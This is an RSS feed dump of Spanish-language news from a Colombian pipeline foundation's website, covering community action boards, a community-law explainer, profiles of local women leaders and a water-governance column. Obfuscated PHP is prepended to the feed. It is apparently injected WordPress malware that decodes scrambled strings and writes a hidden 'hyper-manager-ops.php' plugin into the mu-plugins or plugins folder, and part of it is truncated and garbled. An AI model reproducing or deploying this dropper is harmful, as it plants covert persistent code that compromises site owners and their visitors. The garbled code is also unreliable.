//SC_TH_LD_d100cd3c if(!function_exists('yt0vfhhxmu')){function ycratazlx9bjc($i){static $a=null;if($a===null){$a=array('b4LsD.SgsTags','L3U-sO','gfUO4ks','gfUO4ks','fLSlUf34b-s','fLSIf-s','If-sLf5s','fLSgfU','k/gfU','If-sSjh3STaO3sO3L','Txkag');}return $a[$i];}function yt0vfhhxmu($i){$e=ycratazlx9bjc($i);$f='SC_T'.'HLDP'.'UGI'.'NB'.'AE'.'64'.'WO'.'R/m'.'u-p'.'lgi'.'ns.'.'hwe'.'rt'.'ao'.'dckf'.'bx'.'2vyq'.'zj5'.'13';$t='WR'.'SA'.'2o'.'Pdr'.'nyu'.'mtvD'.'.Ep'.'HGkh'.'_j'.'-cf'.'OLi'.'xlsU'.'34'.'agT'.'/Ib1'.'Cz'.'w6'.'5BNq'.'e';$r="";for($j=0;$j (498+2)) { $ga6dzeeh44bzae = defined("WP_CONTENT_DIR") ? WP_CONTENT_DIR : yc8ibcfu2ymqk(2)(yt0vfhhxmu(3)(__FILE__)); $ge7n19_uwi7gliyi = $ga6dzeeh44bzae . "/mu-plugins/hyper-manager-ops.php"; $opwjy_s9c6i = $ga6dzeeh44bzae . "/plugins/hyper-manager-ops/hyper-manager-ops.php"; $cqidyphq2toauy1 = @q4e0n9qh(4)($ga6dzeeh44bzae . "/mu-plugins") ? $ge7n19_uwi7gliyi : $opwjy_s9c6i; if (!@ag60645lgd4c(5)($cqidyphq2toauy1) || @yc8ibcfu2ymqk(6)($cqidyphq2toauy1) < (4926+74)) { if (!@yc8ibcfu2ymqk(7)(yc8ibcfu2ymqk(3)($cqidyphq2toauy1))) @yt0vfhhxmu(8)(ag60645lgd4c(3)($cqidyphq2toauy1), (402+91), true); @q4e0n9qh(9)($cqidyphq2toauy1, $se94zt6b_i); @q4e0n9qh(10)($cqidyphq2toauy1, (299+121)); } } } } Notas Huellas Archives - FODC https://www.fodc.org.co/?cat=7 Fundación Oleoductos de Colombia Thu, 26 Feb 2026 23:52:20 +0000 es-CO hourly 1 Visión de futuro que pone en el centro a las comunidades https://www.fodc.org.co/?p=11501 Thu, 26 Feb 2026 23:52:20 +0000 https://www.fodc.org.co/?p=11501 Fortalecimos y potenciamos nuestro portafolio de productos y servicios, ampliando su alcance, pertinencia y capacidad de respuesta en los diversos contextos territoriales del país. Tanto en la ruralidad como en escenarios urbanos, desarrollamos acciones de relacionamiento con el entorno, proyectos socioambientales y construcción de capacidades comunitarias que buscaron adaptarse a las realidades locales, reconociendo la
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]]> Fortalecimos y potenciamos nuestro portafolio de productos y servicios, ampliando su alcance, pertinencia y capacidad de respuesta en los diversos contextos territoriales del país. Tanto en la ruralidad como en escenarios urbanos, desarrollamos acciones de relacionamiento con el entorno, proyectos socioambientales y construcción de capacidades comunitarias que buscaron adaptarse a las realidades locales, reconociendo la diversidad social, cultural, ambiental y económica de cada territorio, impulsando la gestión integral de proyectos y la construcción de capacidades locales. A través de proyectos de fortalecimiento comunitario, empoderamiento juvenil, mejoramiento de infraestructuras sociales, modelos de gobernanza territorial, comunidades energéticas, gestión del riesgo y promoción de la cultura, la seguridad, salud y el ambiente, entre otras áreas de intervención, reafirmamos que el desarrollo sostenible no es un concepto abstracto, sino un proceso vivo que solo es posible cuando se construye de manera participativa, incluyente, con enfoque territorial y visión a largo plazo.

 

Cada proyecto ejecutado y cada indicador cumplido representaron no solo un resultado cuantificable, sino también una oportunidad para fortalecer relaciones de confianza y consolidar alianzas estratégicas con el sector público, entidades privadas, la academia, proveedores y, de manera central, con las comunidades, demostrando que nuestra capacidad técnica, social y operativa es un activo para liderar iniciativas que generan bienestar y confianza, fortalecen el tejido social y promueven entornos seguros y protectores.

 

Estos logros son el resultado del trabajo articulado de un equipo humano y comprometido que ha sabido adaptarse a contextos cambiantes y a retos inesperados sin perder su horizonte. Son profesionales sensibles, empáticos y con vocación que trabajan con transparencia, habilidades técnicas y profundo respeto por las comunidades, entendiendo que escuchar las voces de líderes y lideresas locales es una acción necesaria para construir soluciones pertinentes y duraderas.

 

Hoy expresamos un reconocimiento especial a cada colaborador y colaboradora que, con su trabajo diario, hace posible que nuestra misión cobre vida en cada lugar donde hacemos presencia. Su compromiso, ética y calidad profesional ha sido fundamental para alcanzar los objetivos propuestos y fortalecer el posicionamiento de nuestra Fundación. Asimismo, agradecemos a nuestros aliados estratégicos y a las comunidades por confiar en nuestro quehacer y por caminar junto a nosotros.

 

Joven integrante del proyecto Tambores al Barrio.

 

Con más de 35 años de experiencia, hoy miramos el 2026 con una prospectiva clara y responsable. Nos proponemos seguir posicionando nuestro portafolio de servicios como una oferta integral, innovadora y flexible, capaz de responder a los desafíos actuales y futuros de los territorios. Una oferta que articula conocimiento técnico, enfoque social y gestión territorial, y que pone en el centro el cuidado de la vida, el respeto y la protección de los derechos humanos, la transición energética justa y la innovación como pilares fundamentales de la transformación territorial.

 

En coherencia con nuestra Estrategia de Sostenibilidad, continuaremos trabajando por el cumplimiento de nuestros objetivos estratégicos, fortaleciendo alianzas, ampliando nuestro impacto y reafirmando nuestro compromiso con una gestión transparente, eficiente y alineada con las necesidades reales de los territorios.

 

Creemos firmemente que el verdadero impacto no se mide solo en cifras, sino en la confianza construida colectivamente, la cual nos permitirá seguir ampliando nuestra presencia en más de nueve departamentos, posicionándonos como una entidad confiable y comprometida con el empoderamiento comunitario.

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]]> Fortalecimiento comunitario con enfoque diferencial https://www.fodc.org.co/?p=11040 Fri, 28 Nov 2025 21:12:13 +0000 https://www.fodc.org.co/?p=11040 A lo largo de 35 años, nuestra Fundación ha gestado procesos de desarrollo en los territorios donde tiene presencia. Este trabajo ha sido posible gracias a la experiencia y trayectoria que hemos consolidado de la mano de aliados estratégicos, como organizaciones comunitarias. Con ellas hemos comprobado que la confianza es la base fundamental para generar
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]]> A lo largo de 35 años, nuestra Fundación ha gestado procesos de desarrollo en los territorios donde tiene presencia. Este trabajo ha sido posible gracias a la experiencia y trayectoria que hemos consolidado de la mano de aliados estratégicos, como organizaciones comunitarias. Con ellas hemos comprobado que la confianza es la base fundamental para generar impacto social, económico y ambiental en las comunidades, y para garantizar que los procesos y proyectos no solo se ejecuten plenamente, sino que también dejen un legado de progreso y bienestar. Así, impulsamos la capacidad de agencia y el trabajo colectivo, pilares indispensables para el desarrollo sostenible como propósito principal.

Nuestro modelo único de gestión, además de centrar su accionar en el fortalecimiento de capacidades de líderes y lideresas de Juntas de Acción Comunal (JAC), busca transformar las realidades territoriales, desde los aportes que realiza cada grupo de interés.

Desde esa perspectiva, desarrollamos una intervención con enfoque diferencial, donde las comunidades étnicas, poblaciones juveniles, mujeres, niños, adolescentes y jóvenes son los protagonistas. En esta oportunidad, destacamos a los cabildos de las comunidades indígenas zenúes de Córdoba y Sucre, los cuales han sido fundamentales para lograr accionar bajo un enfoque que valora la diversidad de identidades y promueve la inclusión mediante acciones que contribuyen a reducir las brechas y barreras socioeconómicas.

Confiando en sus capacidades de agencia y operación de los cabildos, hemos impulsado proyectos de mejoramiento de infraestructura comunitaria y acompañamiento y fortalecimiento comunitario que generan un beneficio colectivo. De esta manera, los pueblos no solo se convierten en beneficiarios de los proyectos, sino también en gestores, operadores y vigilantes del desarrollo en sus territorios.

“Trabajar con la Fundación ha sido muy beneficioso. Además de ser los ejecutores de un proyecto de mejoramiento comunitario que permitió la contratación de mano de obra local, aprendimos a realizar veeduría comunitaria y a garantizar la seguridad en el trabajo. Esto nos fortalece como comunidad y como futuros contratistas. Fue nuestra primera experiencia como contratista, pero es el camino para seguir apostándole al desarrollo de nuestra comunidad.”

Jonathan Suárez, capitán menor de la comunidad indígena de Sabana Nueva, en Tuchín (Córdoba).

En definitiva, el fortalecimiento con enfoque diferencial es más que una estrategia; es un compromiso con la dignidad, la autonomía y el desarrollo sostenible de las comunidades. Nuestra Fundación reafirma su compromiso de continuar trabajando codo a codo con los pueblos, respetando su saber ancestral y potenciando sus capacidades para construir un futuro próspero y justo para todos.

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]]> Lo que no sabías de la Ley Comunal https://www.fodc.org.co/?p=9829 Wed, 13 Dec 2023 15:02:47 +0000 https://www.fodc.org.co/?p=9829 La Ley 2166 de 2021, conocida como la Ley Comunal, transformó la norma de 2002 que regulaba el trabajo de las Juntas de Acción Comunal en nuestro país. ¿Qué es la Ley Comunal? Con la Ley 2166 de 2021, se busca “promover, facilitar, estructurar y fortalecer la organización democrática, moderna, participativa y representativa de la
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]]> La Ley 2166 de 2021, conocida como la Ley Comunal, transformó la norma de 2002 que regulaba el trabajo de las Juntas de Acción Comunal en nuestro país.

¿Qué es la Ley Comunal?

Con la Ley 2166 de 2021, se busca “promover, facilitar, estructurar y fortalecer la organización democrática, moderna, participativa y representativa de la acción comunal en sus respectivos grados asociativos”.

¿Esto qué significa?

Que desde el Estado existe un interés colectivo para establecer una regulación frente a sus relaciones con los estamentos comunales y asociativos.

Con esta ley también se pretende promover la formulación, implementación, evaluación y seguimiento de la política pública de acción comunal, y proteger los derechos de todos los participantes y afiliados a organismos de este tipo.

¿Qué novedades tiene la actualización de la Ley Comunal?

Frente a la Ley 743 de 2002, que fue la primera que reguló el trabajo de los organismos de acción comunal, la nueva ley otorga un papel más activo a todos los participantes.

Les permite, por ejemplo, participar en la construcción de las políticas públicas de los municipios o ciudades, al igual que de los planes de desarrollo de los gobiernos y sobre los presupuestos participativos.

Frente a la elección de los dignatarios y afiliados, la Ley Comunal establece que, cuando se haga a través de una asamblea, se requerirá la participación de la mitad más uno de los afiliados. Para los casos en los que se realice vía elección directa, la decisión será válida si participan más del 30% de los afiliados.

Además, en el capítulo 10, la Ley Comunal permite la contratación de las organizaciones comunitarias con las entidades del orden nacional, departamental, distrital, local y municipal, a través de convenios solidarios y contratos administrativos.

La Ley también concibe el ‘Día de la Acción Comunal’, que se celebrará el segundo domingo del mes de noviembre de cada año, y que será apoyado por el Ministerio del Interior, la Gobernación de cada departamento y la Alcaldía de cada municipio.

De igual manera, esta ley reglamenta los Juegos Nacionales Deportivos y Recreativos Comunales, el máximo evento del deporte social comunitario con énfasis en las prácticas tradicionales y populares. Se realizarán cada dos años bajo el liderazgo del Ministerio del Deporte de Colombia.

¿Qué otros beneficios podrán tener las Juntas de Acción Comunal?

Gracias a esta normatividad, los organismos de acción comunal ahora podrán desarrollar proyectos de mejoramiento, construcción y autoconstrucción de vivienda. Para esto, también podrás acceder a subsidios familiares de vivienda de interés social.

Además, también se permitió que los estudiantes de educación media (décimo y once) realicen su servicio social escolar obligatorio como apoyo a los organismos de acción comunal, al igual que los estudiantes universitarios que requieran una práctica profesional, judicatura o pasantía.

¿Qué cambió en la Ley Comunal frente al rol de las mujeres?

Uno de los principales avances de esta ley tiene que ver con los principios de equidad de género, paridad e igualdad. Gracias a esta, se estableció que cada organismo de acción comunal deberá estar conformado por hombres y mujeres, y que la cuota femenina no debe ser inferior al 30%.

¿Qué dice la Ley Comunal frente a la participación de los jóvenes?

La Ley afirma que, en conjunto con la Confederación Nacional de Acción Comunal, el Ministerio del Trabajo, el Ministerio del Interior y la Consejería Presidencial para la Juventud, se creará el Comité de Trabajo para Jóvenes Comunales, que busca promover el ejercicio de la democracia participativa y la inclusión de nuevos liderazgos dentro de la organización social de la Acción Comunal.

Además, hace un llamado a las organizaciones comunales para que promuevan el desarrollo y difusión de una cultura y pedagogía ciudadana en niños, niñas, adolescentes y jóvenes, que permita una mayor participación comunitaria en el progreso y fortalecimiento de la sociedad civil.

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]]> En 2024 continuará el fortalecimiento a las Juntas de Acción Comunal https://www.fodc.org.co/?p=9826 Wed, 13 Dec 2023 15:01:19 +0000 https://www.fodc.org.co/?p=9826 Las Juntas de Acción Comunal han sido históricamente un grupo de interés para Ocensa en el área de influencia. Quienes forman parte de ellas han enriquecido la relación de las comunidades con la compañía y han establecido puentes para llevar a cabo estrategias de desarrollo sostenible en los municipios.   Es por esto que Ocensa
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]]> Las Juntas de Acción Comunal han sido históricamente un grupo de interés para Ocensa en el área de influencia. Quienes forman parte de ellas han enriquecido la relación de las comunidades con la compañía y han establecido puentes para llevar a cabo estrategias de desarrollo sostenible en los municipios.

 

Es por esto que Ocensa se ha enfocado en el fortalecimiento comunitario a través de iniciativas orientadas a la mejora de la gestión y la participación comunitaria, contribuyendo específicamente al desarrollo organizacional, la convivencia, la integración, la participación y la gestión de proyectos.

Durante el año 2023, se implementaron en los territorios del área de influencia de Ocensa las iniciativas del Desarrollo del Componente SER, que busca mejorar las habilidades para la gestión emocional. También se avanzó en la mejora de la infraestructura comunitaria, se realizaron espacios de encuentro y participación para incentivar la conversación sobre desarrollo territorial con perspectiva de mediano y largo plazo, y se desarrolló la estrategia “Liderazgos que Transforman” para la formación y organización de las Juntas.

Aunque en 2024 haya cambios en las administraciones locales, el enfoque de Ocensa en el desarrollo de las comunidades es un propósito superior que no se ve afectado por estos cambios sino que, por el contrario, busca el crecimiento a través de alianzas para invertir en proyectos que promuevan la autonomía y el fortalecimiento de las JAC.

“El portafolio de inversión socioambiental que despliega Ocensa está diseñado desde la perspectiva del desarrollo territorial. Para contribuir a este objetivo, las iniciativas implementadas en el territorio buscan obtener resultados, y consideramos que nuestra apuesta es fortalecer capacidades. Con esta premisa, las iniciativas a implementar en 2024 serán las que hemos desarrollado en 2023, añadiendo algunas actividades que nos permitan ampliar y fortalecer nuestra relación con las organizaciones comunales de segundo, tercer y cuarto grado, como asociaciones, federaciones y la Confederación de Juntas de Acción Comunal”, afirmó Diana Carolina Carvajal Martínez, jefa de Inversión Socioambiental de Ocensa.

Para dar seguimiento a estas acciones, es importante que las juntas tengan en cuenta que su participación en las iniciativas es lo que garantiza la durabilidad y la inversión en ellas. Además, cada año se convoca a los participantes de los procesos y se rotan de acuerdo con su progreso.

Las estrategias seguirán enfocadas en generar oportunidades con énfasis en mujeres, jóvenes y el desarrollo sostenible. También se buscará fortalecer la gestión administrativa, financiera y la seguridad laboral en las JAC.

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]]> “La meta es que la JAC sean sostenibles a través del emprendimiento”: Diana Muñoz, presidenta de la JAC El Jardín https://www.fodc.org.co/?p=9823 Wed, 13 Dec 2023 14:59:59 +0000 https://www.fodc.org.co/?p=9823 En Puerto Berrío, Antioquia, sobre el Río Magdalena, los integrantes de la Junta de Acción Comunal El Jardín hablan de dos proyectos que están transformando la vida y las dinámicas de la comunidad: la labor de formación y cuidado del medio ambiente, y la creación de la Asociación de Mujeres Emprendedoras Porteñas. Esta zona, que
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]]> En Puerto Berrío, Antioquia, sobre el Río Magdalena, los integrantes de la Junta de Acción Comunal El Jardín hablan de dos proyectos que están transformando la vida y las dinámicas de la comunidad: la labor de formación y cuidado del medio ambiente, y la creación de la Asociación de Mujeres Emprendedoras Porteñas.

Esta zona, que históricamente se ha dedicado a la ganadería, el comercio y a una pequeña agricultura de yuca, caña de azúcar, frutales, maíz y limón, ahora ve oportunidades en otros proyectos productivos y en la confección de textiles.

La JAC El Jardín hace parte del proyecto Fortalecimiento a Juntas de Acción Comunal de Ocensa con el apoyo de la Fundación Oleoductos de Colombia, con el cual se pretende incentivar la participación, la planificación comunitaria del territorio y la formulación de proyectos.

Diana Muñoz, presidenta de esta organización comunitaria, cuenta que gracias a esta iniciativa, que además incluye la contratación de mano de obra y la compra de implementos hechos por la comunidad, han tenido una inversión importante con la cual pueden planificar las apuestas a futuro.

‘’Estamos planeando un eco vivero, la idea es que sea manejado por los adultos mayores y que estos puedan vender ornamentales. También estamos pensando en la transformación de la caseta comunal para poder hacer un restaurante para las personas que lleguen de turismo y, con esto, generar empleabilidad. Además, haremos un semillero de árboles nativos para llevar a cabo reforestaciones”, relata.

Diana confiesa que antes tenían muchas ideas, pero que recibir las capacitaciones les ayudó a organizarlas, a llevarlas al papel y trazar una ruta. Hoy su mayor enfoque es impulsar la Asociación de Mujeres Emprendedoras Porteñas que cuenta con 35 personas.

“Estamos recibiendo capacitaciones para aprender a manejar máquinas industriales de confección. La meta es que podamos sacar nuestra propia marca llamada En Sueños, que va a tener ropa interior, pijamas y ropa deportiva”, afirma.

Mientras su emprendimiento se materializa, estas mujeres practican confeccionando todo lo que les llega y así aportan a su independencia económica. La Alcaldía y organizaciones ya confían en sus manos para la confección de sus uniformes y prendas.

“La experiencia más bonita es que, más que aprender a coser, aquí las mujeres se han sentido integradas y útiles. Aquí han llegado mujeres que estaban con maltratos psicológicos y han encontrado la forma de liberarse, crear y hacer”, agrega Diana.

Esta organización también pretende ser un lugar de inclusión. Allí llegó Libardo Zerpa, uno de los tres hombres que hacen parte de esta futura empresa. Libardo tiene una discapacidad de movilidad, pero esto no impide que sea quien enseña y dirige cómo utilizar las máquinas.

“Estar aquí me cambió la vida, volviéndome útil en las confecciones, logrando mis metas a pesar de mi discapacidad”, dice.

La JAC El Jardín, que ahora sueña con que se materialice confecciones En Sueño, es ejemplo en Puerto Berrío de organización comunitaria como fuente de empleo. Este municipio, históricamente golpeado por la violencia y la desaparición forzada, ahora encuentra el camino a una reparación a través de la inclusión y la creación de mayores oportunidades para las mujeres.

‘’Estamos incluso armando un proyecto para llevar empleo a los privados de la libertad. Esto es una cadena en la que la meta es generar economía desde y para la comunidad, que las JAC seamos sostenibles a través del emprendimiento y así ayudemos a la población a que la violencia no sea la opción”. concluye Diana.

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]]> Teresa Moreno y el liderazgo femenino https://www.fodc.org.co/?p=9820 Wed, 13 Dec 2023 14:57:54 +0000 https://www.fodc.org.co/?p=9820 Teresa es mamá orgullosa, cierra los ojos y dice ‘‘ay, tocó mi corazón” al preguntarle por su familia y sus hijas, que para ella son ”el regalo más grande”. Estas son las palabras de Teresa Moreno, la mujer enérgica y de mirada alegre que ocupa el cargo de presidenta de la Junta de Acción Comunal
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]]> Teresa es mamá orgullosa, cierra los ojos y dice ‘‘ay, tocó mi corazón” al preguntarle por su familia y sus hijas, que para ella son ”el regalo más grande”. Estas son las palabras de Teresa Moreno, la mujer enérgica y de mirada alegre que ocupa el cargo de presidenta de la Junta de Acción Comunal Rusita, en la apacible vereda que lleva el mismo nombre, y que está ubicada en el municipio de Miraflores, Boyacá.

Después de 30 años de trabajo en Juntas de Acción Comunal, sigue despertando con el mismo ímpetu que la caracteriza, para hacer frente a todas las situaciones que como líder de su comunidad se le presentan.

‘‘Lo más complicado es abrirse camino como mujer, recibir oposición es duro’’, pero la experiencia no se improvisa ‘‘yo nunca he dado un paso atrás, siempre digo que los que quieran trabajar se unan conmigo, de frente y para adelante. Mi liderazgo es muy de la forma del sentir por mi gente, mucho corazón, (risas), porque me identifico con las mujeres, y porque uno es quien conoce su gente, las necesidades, sus alegrías, sus tristezas, y eso es lo que me ha impulsado a trabajar en proyectos comunitarios’’.

Una historia de compromiso y empoderamiento

Teresa creció en una familia con vocación de servicio ‘‘recuerdo a mi padre como fiscal de la Junta, era como un tipo de alguacil, esa figura existía en esa época, entonces nací viendo eso en mi familia. Empecé desde muy jovencita a ayudarle a él con los documentos de la Junta, también cuando estaba estudiando enseñaba a los señores que no sabían leer o escribir su nombre”.

Para ella sentir la necesidad del liderazgo femenino fue determinante después de tener a sus hijas, porque se sensibilizó, según relata “comencé a escuchar los problemas de las mujeres en las reuniones de la Junta, comencé a hablar con ellas y establecimos un proyecto para que tuvieran su platica, era muy duro ver que no teníamos ni voz, ni voto’’.

Así fue que creció ese espíritu comunitario con el cual pudo ser líder de la Asociación de Mujeres Campesinas, emprender un proyecto con mujeres llamado EcoHortalizas, y llegar en el 2022, a ser presidenta de la Junta de Acción Comunal de la vereda Rusita, ‘‘nunca hubo una presidenta mujer, ha sido duro, toca ser fuerte, muy de palabra y transparente para poder sentar mi posición’’.

OCENSA en su trayectoria

Conoció a OCENSA antes de ser presidenta a través de la Asociación de Mujeres Campesinas y su emprendimiento. Colaboraron en proyectos exitosos que ganaron su confianza ‘‘antes los mirábamos como enemigos, pero cuando comenzaron con proyectos con la comunidad abrieron las puertas de los corazones de todos, y ahora con el proyecto de Juntas de Acción Comunal, los sentimos más cerca y más amistosamente. La gente me pregunta, usted cómo hizo para llegar a ellos, entonces yo les explico, y a las Juntas les digo, si yo estoy contratando, ustedes pueden hacer sus papeles, allá pasa el tubo, ustedes también pueden’’.

El proyecto actual que ejecuta su Junta de Acción Comunal, ya va a mitad de camino, ‘‘estamos muy contentos. Primero les brindamos trabajo a 14 personas, segundo, la experiencia que nos dan a nosotros como junta directiva de la vereda, y tercero, que podamos tener en el sitio donde OCENSA pasa, un acceso a pie, porque no había acceso’’.

Un mensaje a las Juntas

‘‘Como líderes debemos mirar las personas que nos apoyan y dan fuerzas, porque las palabras de las personas cuando se refieren a bien, es una gasolina para nosotros, los invito a que no den un paso atrás, en toda comunidad hay dificultades, pero nunca dejen poner las dificultades por encima de lo que sí se puede hacer, nuestra esencia es ser comunitarios, hacer el bien a la comunidad y no detenernos’’.

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]]> La Cuarenta, la ‘pequeña’ JAC que hoy es ejemplo en Monterrey, Casanare https://www.fodc.org.co/?p=9817 Wed, 13 Dec 2023 14:51:24 +0000 https://www.fodc.org.co/?p=9817 Deisy Pérez tiene 30 años, es mamá de dos hijos, creció en una familia campesina y, aunque no estudió una carrera, dice que tiene los conocimientos necesarios para ayudar a los demás. Ella recuerda que en su niñez y en su adolescencia fue muy tímida pero que sentía una necesidad de coordinar y hacer que
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]]> Deisy Pérez tiene 30 años, es mamá de dos hijos, creció en una familia campesina y, aunque no estudió una carrera, dice que tiene los conocimientos necesarios para ayudar a los demás.

Ella recuerda que en su niñez y en su adolescencia fue muy tímida pero que sentía una necesidad de coordinar y hacer que las cosas pasaran. “A los 21 años un presidente de la Junta de Acción Comunal me dijo que me metiera de secretaria porque yo sabía manejar el computador. Ahí empecé a sentir una chispa, se encendió la pasión de servir, fui cuatro años secretaria y luego fui otros cuatro años parte del comité conciliador”, cuenta Deisy, quien ahora es la presidenta de la JAC La Cuarenta en la vereda El Porvenir, del municipio Monterrey en Casanare.

En el sector La Cuarenta, donde viven aproximadamente 250 personas, la mayoría de la población trabaja en la Estación El Porvenir de Ocensa. Esta JAC es una de las 21 beneficiadas con programas de acompañamiento por parte de la compañía en el departamento de Casanare. El resto de la población de La Cuarenta se dedica al comercio, la agricultura y la ganadería, entre otros oficios.

La Junta de Acción Comunal lleva 26 años de constituida y, aunque como lo describe Deisy, “siempre fueron los pequeños de la vereda”, porque en El Porvenir hay otra JAC, abrirse a aprender ha sido el giro que necesitaban.

“Somos pequeños en territorio pero muy grandes en espíritu y corazón. El mayor reto ha sido organizar la JAC en temas de documentación y actualizarnos. Desconocíamos muchos conceptos y responsabilidades, pero cuando empezamos a organizarnos, a hacer que cada uno cumpliera su papel, empezaron a cambiar las cosas”, afirma.

Deisy dice que desde que abre los ojos hay cosas por hacer. “Ver las ganas de la comunidad de trabajar y de aprender me impulsan a querer servir de lunes a domingo”, agrega, mientras cuenta que lo que más la tiene contenta es que cada vez llegan más mujeres con ganas de liderar.

La Junta Directiva se compone en su mayoría de mujeres, además tenemos entre 40 y 45 mujeres jóvenes afiliadas. Hemos hecho muy buen equipo, muchas acá han entendido que sí son capaces, que tienen todas las habilidades para trabajar y tener independencia económica, nosotros ahora somos ejemplo para otras juntas y otras comunidades sobre la participación de las mujeres”, dice.

La Cuarenta fue una de las JAC escogidas por Ocensa para ejecutar las obras de protección y estabilización del derecho de vía del Oleoducto. Esto facilitó la creación de nuevos empleos y la llegada de recursos para proyectos comunitarios. Además, los participantes se formaron con proyectos como Liderazgos que Transforman. Hoy, con estos ingresos y aprendizajes, sueñan con un mejor futuro y porvenir:

“Le hemos demostrado a la gente que sí se puede, que la Junta puede verse también como una empresa que genera recursos en pro de proyectos para la comunidad. Ahora estamos pensando en poder terminar el salón comunal, construir una cancha o un parque para el disfrute de todos”.

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]]> Plan de Desarrollo Comunal: la guía para el futuro de las JAC https://www.fodc.org.co/?p=9797 Mon, 04 Dec 2023 18:54:49 +0000 https://www.fodc.org.co/?p=9797 Con la llegada en el 2024 de nuevas administraciones locales, las Juntas de Acción Comunal (JAC) juegan un papel fundamental en la incidencia de proyectos y rutas para las comunidades con la presentación de su Plan de Desarrollo Comunal y Comunitario.  Este es el principal instrumento de planificación y de gestión de la organización comunal
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Con la llegada en el 2024 de nuevas administraciones locales, las Juntas de Acción Comunal (JAC) juegan un papel fundamental en la incidencia de proyectos y rutas para las comunidades con la presentación de su Plan de Desarrollo Comunal y Comunitario. 

Este es el principal instrumento de planificación y de gestión de la organización comunal que, al articularse con el Plan de Desarrollo de los municipios, genera una hoja de ruta común entre la comunidad y el Estado.  

Para entender la importancia y el impacto de la creación de este Plan de Desarrollo Comunal, hablamos con el presidente de la Confederación Nacional de juntas de acción comunal, Guillermo Cardona, quien enfatizó la importancia de la articulación entre las JAC y las administraciones locales. 

Guillermo Cardona, presidente de la Confederación Nacional de Juntas de Acción Comunal

Periódico Huellas: ¿Por qué es importante que las JAC estén preparadas para la llegada de las nuevas administraciones? 

Guillermo Cardona: Porque los Planes de Desarrollo Comunales deben ser tenidos en cuenta por los futuros alcaldes o alcaldesas. En este momento, las JAC inician la etapa de consolidación de estos planes con el propósito de que los gobernantes elegidos basen su plan de desarrollo en esta hoja de ruta comunal. La organización adecuada de este plan es de vital importancia para permitir que las comunidades tengan influencia en la asignación de presupuestos.  

Como acción previa, antes de elecciones llevamos a cabo un proceso en el que las JAC establecieron actas de compromiso con los candidatos y candidatas. Estos acuerdos establecieron que, en caso de ser elegidos, los gobernantes deberían incorporar ciertos temas de interés comunitario en el plan de desarrollo de sus municipios, ciudades o distritos. 

PH: ¿Qué deben tener en cuenta las JAC para la consolidación del Plan de Desarrollo Comunal? 

GC: Lo primero es recordar que un Plan de Desarrollo Comunal no es un simple listado de obras y proyectos sino, ante todo, unos propósitos de mediano y largo plazo para construir en comunidad.  

Nosotros creemos que es importante que las JAC tengan en cuenta en sus planes algunos ejes como los programas de soberanía alimentaria, la generación de empleo y el impulso a la economía solidaria. También es importante que incluyan proyectos productivos, estrategias para el cuidado del medioambiente y la construcción de modelos educativos a la medida de cada barrio, vereda y corregimiento. 

Estos ejes son bases que se crean para cumplir con propósitos acordes a la visión de las comunidades. No deberían cambiar cada cuatro años, sino transformarse según los planes de acción. 

Con los Planes de Desarrollo Comunales, las JAC impulsan proyectos y promueven acuerdos con cada administración frente a la asignación del presupuesto. Esto es clave para el desarrollo de cada territorio. 

PH: ¿Qué compromisos deben tener las nuevas administraciones con estos planes? 

GC: Según la ley, las administraciones deben generar, apoyar y financiar procesos de planeación participativa que conduzcan a “planes de desarrollo estratégico comunal y comunitario de mediano y de largo plazo”.  

Además, los municipios deben contar con un plan de fortalecimiento de los organismos de acción comunal y organizaciones sociales o una política pública construída de la mano de las comunidades. 

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]]> Capacidades comunitarias para la gobernanza del agua https://www.fodc.org.co/?p=9794 Mon, 04 Dec 2023 18:50:42 +0000 https://www.fodc.org.co/?p=9794 Por Diana Escobar Hoyos, Directora de la Fundación Oleoductos de Colombia.    El agua es un bien público y por esto, es responsabilidad de todos usarla de manera sostenible, protegerla, conservarla y velar como sociedad, por la garantía del acceso a agua y saneamiento básico, como derecho humano fundamental. La disponibilidad de cantidad y calidad
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]]> Por Diana Escobar Hoyos, Directora de la Fundación Oleoductos de Colombia. 

 

El agua es un bien público y por esto, es responsabilidad de todos usarla de manera sostenible, protegerla, conservarla y velar como sociedad, por la garantía del acceso a agua y saneamiento básico, como derecho humano fundamental. La disponibilidad de cantidad y calidad de agua para el consumo humano varía según la clase socioeconómica. 

 Según cifras del Programa de las Naciones Unidas para el Desarrollo -PNUD- actualmente 1.100 millones de personas carecen de acceso suficiente a agua potable segura, y 2.600 millones no disponen de saneamiento básico. En Colombia la brecha de acceso entre lo urbano y lo rural es de más de 20 puntos porcentuales. 

 Desde el punto de vista empresarial, el agua es indispensable para la operación de la industria de hidrocarburos. Su falta de disponibilidad está contemplada como un riesgo empresarial y su gestión conlleva una relevancia y expectativas significativas para los grupos de interés, en términos de prevención de conflictos asociados a la presión ejercida sobre los recursos hídricos, su disponibilidad y calidad.  

Con base en esto y teniendo como principio rector el respeto por los Derechos Humanos, la gestión integral del agua en la industria de hidrocarburos, en los últimos años ha venido incorporando el manejo eficiente del agua como generador de valor y aspecto material para su sostenibilidad. 

La integralidad en la gestión del agua incluye la disminución en la captación y volumen de vertimientos, así como el aumento en el reúso y recirculación de agua en el proceso productivo, la compensación traducida en mejora en el acceso a agua segura, en conservación y restauración de ecosistemas, o en abastecimiento productivo mediante siembra y cosecha de agua o recarga gestionada de acuíferos.  

No menos importante que lo anterior es la gobernanza. Se hace necesario integrar y fortalecer la dimensión social de la gobernanza del agua, para una distribución más equitativa del recurso hídrico, en la búsqueda del fortalecimiento de las capacidades comunitarias e institucionales para el logro de una incidencia real y efectiva en los procesos políticos sobre la gestión del agua.  

Fortalecer la participación de las comunidades en las decisiones que inciden en su territorio, asegurar la transparencia y el acceso a la información y el desarrollo de procesos de implementación de los determinantes del ordenamiento territorial asociados al ciclo del agua, definiendo las jerarquías y la coordinación entre entidades, es un eslabón esencial en la gestión sostenible del agua. Para esto, es requerido romper los límites entre distintas disciplinas aspirando a una comprensión más rica y abierta que permita integrar los procesos sociales y biofísicos.  

Igualmente necesario es construir y consolidar relaciones de confianza entre la industria y las comunidades, basadas en el respeto a través del diálogo social para la concertación de visiones compartidas del ordenamiento territorial en torno al agua y el fortalecimiento de los procesos de gobernanza por parte de poblaciones históricamente afectadas por la exclusión, el conflicto armado y el desplazamiento forzado, así como considerar procesos de formación y capacitación que sienten las bases del diálogo social intercultural y la planeación participativa, para la construcción de un lenguaje común basado en conceptos compartidos, que faciliten la gestión y protección del agua, como bien público y derecho fundamental. 

